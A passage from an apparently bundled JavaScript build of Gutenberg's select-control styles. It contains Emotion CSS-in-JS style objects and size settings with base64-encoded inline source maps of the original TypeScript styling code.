50ZW50Jyxcblx0XHR9ICk7XG5cdH1cblxuXHRyZXR1cm4gJyc7XG59O1xuXG4vLyBUT0RPOiBSZXNvbHZlIG5lZWQgdG8gdXNlICYmJiB0byBpbmNyZWFzZSBzcGVjaWZpY2l0eVxuLy8gaHR0cHM6Ly9naXRodWIuY29tL1dvcmRQcmVzcy9ndXRlbmJlcmcvaXNzdWVzLzE4NDgzXG5cbmV4cG9ydCBjb25zdCBTZWxlY3QgPSBzdHlsZWQuc2VsZWN0PCBTZWxlY3RQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGFwcGVhcmFuY2U6IG5vbmU7XG5cdFx0YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG5cdFx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0XHRib3JkZXI6IG5vbmU7XG5cdFx0Ym94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50O1xuXHRcdGNvbG9yOiBjdXJyZW50Q29sb3I7IC8vIE92ZXJyaWRlcyBob3Zlci9mb2N1cyBzdHlsZXMgaW4gZm9ybXMuY3NzXG5cdFx0Y3Vyc29yOiBpbmhlcml0O1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdGZvbnQtZmFtaWx5OiBpbmhlcml0O1xuXHRcdGxpbmUtaGVpZ2h0OiAxLjM7IC8vIE92ZXJyaWRlIGZvcm1zLmNzcyBzdHlsZXMsIGxhcmdlIGVub3VnaCB2YWx1ZSB0byBwcmV2ZW50IGRlc2NlbmRlciBjbGlwcGluZyB3aXRob3V0IGFmZmVjdGluZyBoZWlnaHRcblx0XHRtYXJnaW46IDA7XG5cdFx0d2lkdGg6IDEwMCU7XG5cdFx0bWF4LXdpZHRoOiBub25lO1xuXHRcdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdFx0dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7XG5cblx0XHQkeyBmb250U2l6ZVN0eWxlcyB9O1xuXHRcdCR7IHNpemVTdHlsZXMgfTtcblx0XHQkeyBzaXplUGFkZGluZ3MgfTtcblx0XHQkeyBvdmVyZmxvd1N0eWxlcyB9XG5cdFx0JHsgdmFyaWFudFN0eWxlcyB9XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBEb3duQXJyb3dXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0bWFyZ2luLWlubGluZS1lbmQ6ICR7IHNwYWNlKCAtMSApIH07IC8vIG9wdGljYWxseSBhZGp1c3QgdGhlIGljb25cblx0bGluZS1oZWlnaHQ6IDA7XG5cblx0cGF0aCB7XG5cdFx0ZmlsbDogY3VycmVudENvbG9yO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgSW5wdXRDb250cm9sU3VmZml4V3JhcHBlcldpdGhDbGlja1Rocm91Z2ggPSBzdHlsZWQoXG5cdElucHV0Q29udHJvbFN1ZmZpeFdyYXBwZXJcbilgXG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cblx0JHsgcnRsKCB7IHJpZ2h0OiAwIH0gKSB9XG5gO1xuIl19 */");
30341 };
30342 var _ref23 = false ? {
30343 name: "1lv1yo7",
30344 styles: "display:inline-flex"
30345 } : {
30346 name: "siqiia-inputBaseVariantStyles",
30347 styles: "display:inline-flex;label:inputBaseVariantStyles;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInNlbGVjdC1jb250cm9sLXN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF1Q1kiLCJmaWxlIjoic2VsZWN0LWNvbnRyb2wtc3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIHJ0bCwgQ09ORklHIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi8uLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgdHlwZSB7IFNlbGVjdENvbnRyb2xQcm9wcyB9IGZyb20gJy4uL3R5cGVzJztcbmltcG9ydCBJbnB1dENvbnRyb2xTdWZmaXhXcmFwcGVyIGZyb20gJy4uLy4uL2lucHV0LWNvbnRyb2wvaW5wdXQtc3VmZml4LXdyYXBwZXInO1xuaW1wb3J0IHsgZm9udFNpemVTdHlsZXMgfSBmcm9tICcuLi8uLi9pbnB1dC1jb250cm9sL3N0eWxlcy9pbnB1dC1jb250cm9sLXN0eWxlcyc7XG5pbXBvcnQgSW5wdXRCYXNlIGZyb20gJy4uLy4uL2lucHV0LWNvbnRyb2wvaW5wdXQtYmFzZSc7XG5cbmludGVyZmFjZSBTZWxlY3RQcm9wc1xuXHRleHRlbmRzIFBpY2s8XG5cdFx0U2VsZWN0Q29udHJvbFByb3BzLFxuXHRcdCdfX25leHQ0MHB4RGVmYXVsdFNpemUnIHwgJ2Rpc2FibGVkJyB8ICdtdWx0aXBsZScgfCAndmFyaWFudCdcblx0PiB7XG5cdC8vIFVzaW5nIGBzZWxlY3RTaXplYCBpbnN0ZWFkIG9mIGBzaXplYCB0byBhdm9pZCBhIHR5cGUgY29uZmxpY3Qgd2l0aCB0aGVcblx0Ly8gYHNpemVgIEhUTUwgYXR0cmlidXRlIG9mIHRoZSBgc2VsZWN0YCBlbGVtZW50LlxuXHRzZWxlY3RTaXplPzogU2VsZWN0Q29udHJvbFByb3BzWyAnc2l6ZScgXTtcbn1cblxuY29uc3QgZGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogU2VsZWN0UHJvcHMgKSA9PiB7XG5cdGlmICggISBkaXNhYmxlZCApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdGNvbG9yOiAkeyBDT0xPUlMudWkudGV4dERpc2FibGVkIH07XG5cdFx0Y3Vyc29yOiBkZWZhdWx0O1xuXHRgO1xufTtcblxuY29uc3QgaW5wdXRCYXNlVmFyaWFudFN0eWxlcyA9ICggeyB2YXJpYW50IH06IFNlbGVjdFByb3BzICkgPT4ge1xuXHRpZiAoIHZhcmlhbnQgPT09ICdtaW5pbWFsJyApIHtcblx0XHRyZXR1cm4gY3NzYFxuXHRcdFx0ZGlzcGxheTogaW5saW5lLWZsZXg7XG5cdFx0YDtcblx0fVxuXG5cdHJldHVybiAnJztcbn07XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRJbnB1dEJhc2UgPSBzdHlsZWQoIElucHV0QmFzZSApYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0Y3Vyc29yOiBwb2ludGVyO1xuXG5cdCR7IGRpc2FibGVkU3R5bGVzIH1cblx0JHsgaW5wdXRCYXNlVmFyaWFudFN0eWxlcyB9XG5gO1xuXG5jb25zdCBzaXplU3R5bGVzID0gKCB7XG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0bXVsdGlwbGUsXG5cdHNlbGVjdFNpemUgPSAnZGVmYXVsdCcsXG59OiBTZWxlY3RQcm9wcyApID0+IHtcblx0aWYgKCBtdWx0aXBsZSApIHtcblx0XHQvLyBXaGVuIGBtdWx0aXBsZWAsIGp1c3QgdXNlIHRoZSBuYXRpdmUgYnJvd3NlciBzdHlsZXNcblx0XHQvLyB3aXRob3V0IHNldHRpbmcgZXhwbGljaXQgaGVpZ2h0LlxuXHRcdHJldHVybjtcblx0fVxuXG5cdGNvbnN0IHNpemVzID0ge1xuXHRcdGRlZmF1bHQ6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRtaW5IZWlnaHQ6IDQwLFxuXHRcdFx0cGFkZGluZ1RvcDogMCxcblx0XHRcdHBhZGRpbmdCb3R0b206IDAsXG5cdFx0fSxcblx0XHRzbWFsbDoge1xuXHRcdFx0aGVpZ2h0OiAyNCxcblx0XHRcdG1pbkhlaWdodDogMjQsXG5cdFx0XHRwYWRkaW5nVG9wOiAwLFxuXHRcdFx0cGFkZGluZ0JvdHRvbTogMCxcblx0XHR9LFxuXHRcdGNvbXBhY3Q6IHtcblx0XHRcdGhlaWdodDogMzIsXG5cdFx0XHRtaW5IZWlnaHQ6IDMyLFxuXHRcdFx0cGFkZGluZ1RvcDogMCxcblx0XHRcdHBhZGRpbmdCb3R0b206IDAsXG5cdFx0fSxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRtaW5IZWlnaHQ6IDQwLFxuXHRcdFx0cGFkZGluZ1RvcDogMCxcblx0XHRcdHBhZGRpbmdCb3R0b206IDAsXG5cdFx0fSxcblx0fTtcblxuXHRpZiAoICEgX19uZXh0NDBweERlZmF1bHRTaXplICkge1xuXHRcdHNpemVzLmRlZmF1bHQgPSBzaXplcy5jb21wYWN0O1xuXHR9XG5cblx0Y29uc3Qgc3R5bGUgPSBzaXplc1sgc2VsZWN0U2l6ZSBdIHx8IHNpemVzLmRlZmF1bHQ7XG5cblx0cmV0dXJuIGNzcyggc3R5bGUgKTtcbn07XG5cbmV4cG9ydCBjb25zdCBjaGV2cm9uSWNvblNpemUgPSAxODtcblxuY29uc3Qgc2l6ZVBhZGRpbmdzID0gKCB7XG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0bXVsdGlwbGUsXG5cdHNlbGVjdFNpemUgPSAnZGVmYXVsdCcsXG59OiBTZWxlY3RQcm9wcyApID0+IHtcblx0Y29uc3QgcGFkZGluZyA9IHtcblx0XHRkZWZhdWx0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdHNtYWxsOiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0Y29tcGFjdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0fTtcblxuXHRpZiAoICEgX19uZXh0NDBweERlZmF1bHRTaXplICkge1xuXHRcdHBhZGRpbmcuZGVmYXVsdCA9IHBhZGRpbmcuY29tcGFjdDtcblx0fVxuXG5cdGNvbnN0IHNlbGVjdGVkUGFkZGluZyA9IHBhZGRpbmdbIHNlbGVjdFNpemUgXSB8fCBwYWRkaW5nLmRlZmF1bHQ7XG5cblx0cmV0dXJuIHJ0bCgge1xuXHRcdHBhZGRpbmdMZWZ0OiBzZWxlY3RlZFBhZGRpbmcsXG5cdFx0cGFkZGluZ1JpZ2h0OiBzZWxlY3RlZFBhZGRpbmcgKyBjaGV2cm9uSWNvblNpemUsXG5cdFx0Li4uKCBtdWx0aXBsZVxuXHRcdFx0PyB7XG5cdFx0XHRcdFx0cGFkZGluZ1RvcDogc2VsZWN0ZWRQYWRkaW5nLFxuXHRcdFx0XHRcdHBhZGRpbmdCb3R0b206IHNlbGVjdGVkUGFkZGluZyxcblx0XHRcdCAgfVxuXHRcdFx0OiB7fSApLFxuXHR9ICk7XG59O1xuXG5jb25zdCBvdmVyZmxvd1N0eWxlcyA9ICggeyBtdWx0aXBsZSB9OiBTZWxlY3RQcm9wcyApID0+IHtcblx0cmV0dXJuIHtcblx0XHRvdmVyZmxvdzogbXVsdGlwbGUgPyAnYXV0bycgOiAnaGlkZGVuJyxcblx0fTtcbn07XG5cbmNvbnN0IHZhcmlhbnRTdHlsZXMgPSAoIHsgdmFyaWFudCB9OiBTZWxlY3RQcm9wcyApID0+IHtcblx0aWYgKCB2YXJpYW50ID09PSAnbWluaW1hbCcgKSB7XG5cdFx0cmV0dXJuIGNzcygge1xuXHRcdFx0ZmllbGRTaXppbmc6ICdjb250ZW50Jyxcblx0XHR9ICk7XG5cdH1cblxuXHRyZXR1cm4gJyc7XG59O1xuXG4vLyBUT0RPOiBSZXNvbHZlIG5lZWQgdG8gdXNlICYmJiB0byBpbmNyZWFzZSBzcGVjaWZpY2l0eVxuLy8gaHR0cHM6Ly9naXRodWIuY29tL1dvcmRQcmVzcy9ndXRlbmJlcmcvaXNzdWVzLzE4NDgzXG5cbmV4cG9ydCBjb25zdCBTZWxlY3QgPSBzdHlsZWQuc2VsZWN0PCBTZWxlY3RQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGFwcGVhcmFuY2U6IG5vbmU7XG5cdFx0YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG5cdFx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0XHRib3JkZXI6IG5vbmU7XG5cdFx0Ym94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50O1xuXHRcdGNvbG9yOiBjdXJyZW50Q29sb3I7IC8vIE92ZXJyaWRlcyBob3Zlci9mb2N1cyBzdHlsZXMgaW4gZm9ybXMuY3NzXG5cdFx0Y3Vyc29yOiBpbmhlcml0O1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdGZvbnQtZmFtaWx5OiBpbmhlcml0O1xuXHRcdGxpbmUtaGVpZ2h0OiAxLjM7IC8vIE92ZXJyaWRlIGZvcm1zLmNzcyBzdHlsZXMsIGxhcmdlIGVub3VnaCB2YWx1ZSB0byBwcmV2ZW50IGRlc2NlbmRlciBjbGlwcGluZyB3aXRob3V0IGFmZmVjdGluZyBoZWlnaHRcblx0XHRtYXJnaW46IDA7XG5cdFx0d2lkdGg6IDEwMCU7XG5cdFx0bWF4LXdpZHRoOiBub25lO1xuXHRcdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdFx0dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7XG5cblx0XHQkeyBmb250U2l6ZVN0eWxlcyB9O1xuXHRcdCR7IHNpemVTdHlsZXMgfTtcblx0XHQkeyBzaXplUGFkZGluZ3MgfTtcblx0XHQkeyBvdmVyZmxvd1N0eWxlcyB9XG5cdFx0JHsgdmFyaWFudFN0eWxlcyB9XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBEb3duQXJyb3dXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0bWFyZ2luLWlubGluZS1lbmQ6ICR7IHNwYWNlKCAtMSApIH07IC8vIG9wdGljYWxseSBhZGp1c3QgdGhlIGljb25cblx0bGluZS1oZWlnaHQ6IDA7XG5cblx0cGF0aCB7XG5cdFx0ZmlsbDogY3VycmVudENvbG9yO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgSW5wdXRDb250cm9sU3VmZml4V3JhcHBlcldpdGhDbGlja1Rocm91Z2ggPSBzdHlsZWQoXG5cdElucHV0Q29udHJvbFN1ZmZpeFdyYXBwZXJcbilgXG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cblx0JHsgcnRsKCB7IHJpZ2h0OiAwIH0gKSB9XG5gO1xuIl19 */",
30348 toString: _EMOTION_STRINGIFIED_CSS_ERROR__12
30349 };
30350 var inputBaseVariantStyles = ({
30351 variant
30352 }) => {
30353 if (variant === "minimal") {
30354 return _ref23;
30355 }
30356 return "";
30357 };
30358 var StyledInputBase = /* @__PURE__ */ createStyled(input_base_default, false ? {
30359 target: "e1mv6sxx3"
30360 } : {
30361 target: "e1mv6sxx3",
30362 label: "StyledInputBase"
30363 })("color:", COLORS.theme.foreground, ";cursor:pointer;", disabledStyles2, " ", inputBaseVariantStyles, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInNlbGVjdC1jb250cm9sLXN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUErQ2tEIiwiZmlsZSI6InNlbGVjdC1jb250cm9sLXN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBydGwsIENPTkZJRyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IHR5cGUgeyBTZWxlY3RDb250cm9sUHJvcHMgfSBmcm9tICcuLi90eXBlcyc7XG5pbXBvcnQgSW5wdXRDb250cm9sU3VmZml4V3JhcHBlciBmcm9tICcuLi8uLi9pbnB1dC1jb250cm9sL2lucHV0LXN1ZmZpeC13cmFwcGVyJztcbmltcG9ydCB7IGZvbnRTaXplU3R5bGVzIH0gZnJvbSAnLi4vLi4vaW5wdXQtY29udHJvbC9zdHlsZXMvaW5wdXQtY29udHJvbC1zdHlsZXMnO1xuaW1wb3J0IElucHV0QmFzZSBmcm9tICcuLi8uLi9pbnB1dC1jb250cm9sL2lucHV0LWJhc2UnO1xuXG5pbnRlcmZhY2UgU2VsZWN0UHJvcHNcblx0ZXh0ZW5kcyBQaWNrPFxuXHRcdFNlbGVjdENvbnRyb2xQcm9wcyxcblx0XHQnX19uZXh0NDBweERlZmF1bHRTaXplJyB8ICdkaXNhYmxlZCcgfCAnbXVsdGlwbGUnIHwgJ3ZhcmlhbnQnXG5cdD4ge1xuXHQvLyBVc2luZyBgc2VsZWN0U2l6ZWAgaW5zdGVhZCBvZiBgc2l6ZWAgdG8gYXZvaWQgYSB0eXBlIGNvbmZsaWN0IHdpdGggdGhlXG5cdC8vIGBzaXplYCBIVE1MIGF0dHJpYnV0ZSBvZiB0aGUgYHNlbGVjdGAgZWxlbWVudC5cblx0c2VsZWN0U2l6ZT86IFNlbGVjdENvbnRyb2xQcm9wc1sgJ3NpemUnIF07XG59XG5cbmNvbnN0IGRpc2FibGVkU3R5bGVzID0gKCB7IGRpc2FibGVkIH06IFNlbGVjdFByb3BzICkgPT4ge1xuXHRpZiAoICEgZGlzYWJsZWQgKSB7XG5cdFx0cmV0dXJuICcnO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLnRleHREaXNhYmxlZCB9O1xuXHRcdGN1cnNvcjogZGVmYXVsdDtcblx0YDtcbn07XG5cbmNvbnN0IGlucHV0QmFzZVZhcmlhbnRTdHlsZXMgPSAoIHsgdmFyaWFudCB9OiBTZWxlY3RQcm9wcyApID0+IHtcblx0aWYgKCB2YXJpYW50ID09PSAnbWluaW1hbCcgKSB7XG5cdFx0cmV0dXJuIGNzc2Bcblx0XHRcdGRpc3BsYXk6IGlubGluZS1mbGV4O1xuXHRcdGA7XG5cdH1cblxuXHRyZXR1cm4gJyc7XG59O1xuXG5leHBvcnQgY29uc3QgU3R5bGVkSW5wdXRCYXNlID0gc3R5bGVkKCBJbnB1dEJhc2UgKWBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdGN1cnNvcjogcG9pbnRlcjtcblxuXHQkeyBkaXNhYmxlZFN0eWxlcyB9XG5cdCR7IGlucHV0QmFzZVZhcmlhbnRTdHlsZXMgfVxuYDtcblxuY29uc3Qgc2l6ZVN0eWxlcyA9ICgge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdG11bHRpcGxlLFxuXHRzZWxlY3RTaXplID0gJ2RlZmF1bHQnLFxufTogU2VsZWN0UHJvcHMgKSA9PiB7XG5cdGlmICggbXVsdGlwbGUgKSB7XG5cdFx0Ly8gV2hlbiBgbXVsdGlwbGVgLCBqdXN0IHVzZSB0aGUgbmF0aXZlIGJyb3dzZXIgc3R5bGVzXG5cdFx0Ly8gd2l0aG91dCBzZXR0aW5nIGV4cGxpY2l0IGhlaWdodC5cblx0XHRyZXR1cm47XG5cdH1cblxuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiB7XG5cdFx0XHRoZWlnaHQ6IDQwLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdUb3A6IDAsXG5cdFx0XHRwYWRkaW5nQm90dG9tOiAwLFxuXHRcdH0sXG5cdFx0c21hbGw6IHtcblx0XHRcdGhlaWdodDogMjQsXG5cdFx0XHRtaW5IZWlnaHQ6IDI0LFxuXHRcdFx0cGFkZGluZ1RvcDogMCxcblx0XHRcdHBhZGRpbmdCb3R0b206IDAsXG5cdFx0fSxcblx0XHRjb21wYWN0OiB7XG5cdFx0XHRoZWlnaHQ6IDMyLFxuXHRcdFx0bWluSGVpZ2h0OiAzMixcblx0XHRcdHBhZGRpbmdUb3A6IDAsXG5cdFx0XHRwYWRkaW5nQm90dG9tOiAwLFxuXHRcdH0sXG5cdFx0J19fdW5zdGFibGUtbGFyZ2UnOiB7XG5cdFx0XHRoZWlnaHQ6IDQwLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdUb3A6IDAsXG5cdFx0XHRwYWRkaW5nQm90dG9tOiAwLFxuXHRcdH0sXG5cdH07XG5cblx0aWYgKCAhIF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSApIHtcblx0XHRzaXplcy5kZWZhdWx0ID0gc2l6ZXMuY29tcGFjdDtcblx0fVxuXG5cdGNvbnN0IHN0eWxlID0gc2l6ZXNbIHNlbGVjdFNpemUgXSB8fCBzaXplcy5kZWZhdWx0O1xuXG5cdHJldHVybiBjc3MoIHN0eWxlICk7XG59O1xuXG5leHBvcnQgY29uc3QgY2hldnJvbkljb25TaXplID0gMTg7XG5cbmNvbnN0IHNpemVQYWRkaW5ncyA9ICgge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdG11bHRpcGxlLFxuXHRzZWxlY3RTaXplID0gJ2RlZmF1bHQnLFxufTogU2VsZWN0UHJvcHMgKSA9PiB7XG5cdGNvbnN0IHBhZGRpbmcgPSB7XG5cdFx0ZGVmYXVsdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHRzbWFsbDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdGNvbXBhY3Q6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdH07XG5cblx0aWYgKCAhIF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSApIHtcblx0XHRwYWRkaW5nLmRlZmF1bHQgPSBwYWRkaW5nLmNvbXBhY3Q7XG5cdH1cblxuXHRjb25zdCBzZWxlY3RlZFBhZGRpbmcgPSBwYWRkaW5nWyBzZWxlY3RTaXplIF0gfHwgcGFkZGluZy5kZWZhdWx0O1xuXG5cdHJldHVybiBydGwoIHtcblx0XHRwYWRkaW5nTGVmdDogc2VsZWN0ZWRQYWRkaW5nLFxuXHRcdHBhZGRpbmdSaWdodDogc2VsZWN0ZWRQYWRkaW5nICsgY2hldnJvbkljb25TaXplLFxuXHRcdC4uLiggbXVsdGlwbGVcblx0XHRcdD8ge1xuXHRcdFx0XHRcdHBhZGRpbmdUb3A6IHNlbGVjdGVkUGFkZGluZyxcblx0XHRcdFx0XHRwYWRkaW5nQm90dG9tOiBzZWxlY3RlZFBhZGRpbmcsXG5cdFx0XHQgIH1cblx0XHRcdDoge30gKSxcblx0fSApO1xufTtcblxuY29uc3Qgb3ZlcmZsb3dTdHlsZXMgPSAoIHsgbXVsdGlwbGUgfTogU2VsZWN0UHJvcHMgKSA9PiB7XG5cdHJldHVybiB7XG5cdFx0b3ZlcmZsb3c6IG11bHRpcGxlID8gJ2F1dG8nIDogJ2hpZGRlbicsXG5cdH07XG59O1xuXG5jb25zdCB2YXJpYW50U3R5bGVzID0gKCB7IHZhcmlhbnQgfTogU2VsZWN0UHJvcHMgKSA9PiB7XG5cdGlmICggdmFyaWFudCA9PT0gJ21pbmltYWwnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdGZpZWxkU2l6aW5nOiAnY29udGVudCcsXG5cdFx0fSApO1xuXHR9XG5cblx0cmV0dXJuICcnO1xufTtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgU2VsZWN0ID0gc3R5bGVkLnNlbGVjdDwgU2VsZWN0UHJvcHMgPmBcblx0JiYmIHtcblx0XHRhcHBlYXJhbmNlOiBub25lO1xuXHRcdGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDtcblx0XHRjb2xvcjogY3VycmVudENvbG9yOyAvLyBPdmVycmlkZXMgaG92ZXIvZm9jdXMgc3R5bGVzIGluIGZvcm1zLmNzc1xuXHRcdGN1cnNvcjogaW5oZXJpdDtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0XHRsaW5lLWhlaWdodDogMS4zOyAvLyBPdmVycmlkZSBmb3Jtcy5jc3Mgc3R5bGVzLCBsYXJnZSBlbm91Z2ggdmFsdWUgdG8gcHJldmVudCBkZXNjZW5kZXIgY2xpcHBpbmcgd2l0aG91dCBhZmZlY3RpbmcgaGVpZ2h0XG5cdFx0bWFyZ2luOiAwO1xuXHRcdHdpZHRoOiAxMDAlO1xuXHRcdG1heC13aWR0aDogbm9uZTtcblx0XHR3aGl0ZS1zcGFjZTogbm93cmFwO1xuXHRcdHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzO1xuXG5cdFx0JHsgZm9udFNpemVTdHlsZXMgfTtcblx0XHQkeyBzaXplU3R5bGVzIH07XG5cdFx0JHsgc2l6ZVBhZGRpbmdzIH07XG5cdFx0JHsgb3ZlcmZsb3dTdHlsZXMgfVxuXHRcdCR7IHZhcmlhbnRTdHlsZXMgfVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgRG93bkFycm93V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdG1hcmdpbi1pbmxpbmUtZW5kOiAkeyBzcGFjZSggLTEgKSB9OyAvLyBvcHRpY2FsbHkgYWRqdXN0IHRoZSBpY29uXG5cdGxpbmUtaGVpZ2h0OiAwO1xuXG5cdHBhdGgge1xuXHRcdGZpbGw6IGN1cnJlbnRDb2xvcjtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IElucHV0Q29udHJvbFN1ZmZpeFdyYXBwZXJXaXRoQ2xpY2tUaHJvdWdoID0gc3R5bGVkKFxuXHRJbnB1dENvbnRyb2xTdWZmaXhXcmFwcGVyXG4pYFxuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXG5cdCR7IHJ0bCggeyByaWdodDogMCB9ICkgfVxuYDtcbiJdfQ== */"));
30364 var sizeStyles2 = ({
30365 __next40pxDefaultSize,
30366 multiple,
30367 selectSize = "default"
30368 }) => {
30369 if (multiple) {
30370 return;
30371 }
30372 const sizes = {
30373 default: {
30374 height: 40,
30375 minHeight: 40,
30376 paddingTop: 0,
30377 paddingBottom: 0
30378 },
30379 small: {
30380 height: 24,
30381 minHeight: 24,
30382 paddingTop: 0,
30383 paddingBottom: 0
30384 },
30385 compact: {
30386 height: 32,
30387 minHeight: 32,
30388 paddingTop: 0,
30389 paddingBottom: 0
30390 },
30391 "__unstable-large": {
30392 height: 40,
30393 minHeight: 40,
30394 paddingTop: 0,
30395 paddingBottom: 0
30396 }
30397 };
30398 if (!__next40pxDefaultSize) {
30399 sizes.default = sizes.compact;
30400 }
30401 const style2 = sizes[selectSize] || sizes.default;
30402 return /* @__PURE__ */ css(style2, false ? "" : ";label:sizeStyles;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInNlbGVjdC1jb250cm9sLXN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFtR1EiLCJmaWxlIjoic2VsZWN0LWNvbnRyb2wtc3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIHJ0bCwgQ09ORklHIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi8uLi91dGlscy9zcGFjZSc7XG5pbXBvcn